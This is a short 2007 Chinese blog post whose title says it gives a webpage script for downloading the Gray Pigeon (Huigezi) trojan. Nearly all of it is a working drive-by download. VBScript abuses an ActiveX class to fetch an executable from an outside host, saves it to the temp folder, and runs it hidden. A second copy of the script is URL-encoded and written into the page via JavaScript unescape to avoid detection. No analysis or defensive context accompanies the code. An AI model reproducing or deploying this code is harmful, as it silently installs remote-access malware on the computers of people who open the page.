星期六

网页中下载灰鸽子病毒的 SCRIPT

 

网页中下载灰鸽子病毒的 SCRIPT

<script language="VBScript">
    ppp
="object"
    
Set data = document.createElement(ppp,"")
    bbs 
="Microsoft.XMLHTTP"
    data.setAttribute (
"classid"), ("clsid:BD96C556-65A3-11D0-983A-00C04FC29E36")

    
Set x = data.CreateObject(bbs,"")
    url 
= "http://binwei888.com/gequ.exe"
    
    rrr
="Adodb.Stream"
    
set mm = data.createobject(rrr,"")
    mm.type 
= 1 
    mm.open 
    ysha
="GET"
    x.Open ysha, url, 
False
    x.Send
   
    mm.write x.responseBody
       exe
="h.bat"
    ht 
="Scripting.FileSystemObject"

    
Set T = Nothing
    
set F = data.createobject(ht,"")
    
set tmp = F.GetSpecialFolder(2)
      
    exe
= F.BuildPath(tmp,exe)
    mm.savetofile exe,
2
    mm.close
    
set Bb = data.createobject("Shell.Application","")
    Bb.ShellExecute exe,
"","","open",0
</script>
   


<SCRIPT LANGUAGE="Javascript">
<!--
var Words 
="%3Cscript%20language%3D%22VBScript%22%3E%0D%0A%20%0D%0A%20%20%0D%0A%20%20%20%20ppp%3D%22object%22%0D%0A%20%20%20%0D%0A%20%20%20%20Set%20data%20%3D%20document%2EcreateElement%28ppp%2C%22%22%29%0D%0A%20%20%20%20bbs%20%3D%22Microsoft%2EXMLHTTP%22%0D%0A%20%20%20%20data%2EsetAttribute%20%28%22classid%22%29%2C%20%28%22clsid%3ABD96C556%2D65A3%2D11D0%2D983A%2D00C04FC29E36%22%29%0D%0A%20%20%20%20%0D%0A%20%20%20%20%0D%0A%0D%0A%20%20%20%20Set%20x%20%3D%20data%2ECreateObject%28bbs%2C%22%22%29%0D%0A%20%20%20%20url%20%3D%20%22http%3A%2F%2Fbinwei888%2Ecom%2Fgequ%2Eexe%22%0D%0A%20%20%20%20%0D%0A%20%20%20%20rrr%3D%22Adodb%2EStream%22%0D%0A%20%20%20%20set%20mm%20%3D%20data%2Ecreateobject%28rrr%2C%22%22%29%0D%0A%20%20%20%20%0D%0A%20%20%20%20mm%2Etype%20%3D%201%20%0D%0A%20%20%20%20%0D%0A%20%20%20%20mm%2Eopen%20%0D%0A%20%20%20%20%0D%0A%20%20%20%20ysha%3D%22GET%22%0D%0A%20%20%20%20%0D%0A%20%20%20%20x%2EOpen%20ysha%2C%20url%2C%20False%0D%0A%20%20%20%20x%2ESend%0D%0A%20%20%20%0D%0A%20%20%20%20%0D%0A%20%20%20%0D%0A%20%20%20%20mm%2Ewrite%20x%2EresponseBody%0D%0A%20%20%20%20%20exe%3D%22h%2Ebat%22%0D%0A%20%20%20%20ht%20%3D%22Scripting%2EFileSystemObject%22%0D%0A%20%20%20%20Set%20T%20%3D%20Nothing%0D%0A%20%20%20%20set%20F%20%3D%20data%2Ecreateobject%28ht%2C%22%22%29%0D%0A%20%20%20%20set%20tmp%20%3D%20F%2EGetSpecialFolder%282%29%0D%0A%20%20%20%20%20%20%0D%0A%20%20%20%20exe%3D%20F%2EBuildPath%28tmp%2Cexe%29%0D%0A%20%20%20%20mm%2Esavetofile%20exe%2C2%0D%0A%20%20%20%20mm%2Eclose%0D%0A%20%20%20%20set%20Bb%20%3D%20data%2Ecreateobject%28%22Shell%2EApplication%22%2C%22%22%29%0D%0A%20%20%20%20Bb%2EShellExecute%20exe%2C%22%22%2C%22%22%2C%22open%22%2C0%0D%0A%20%20%20%0D%0A%20%20%20%20%3C%2Fscript%3E%0D%0A%20%20%20%0D%0A%0D%0A"
function SetNewWords()
{
var NewWords;
NewWords 
= unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>

posted on 2007-03-19 10:24  星期六  阅读(616)  评论(0编辑  收藏  举报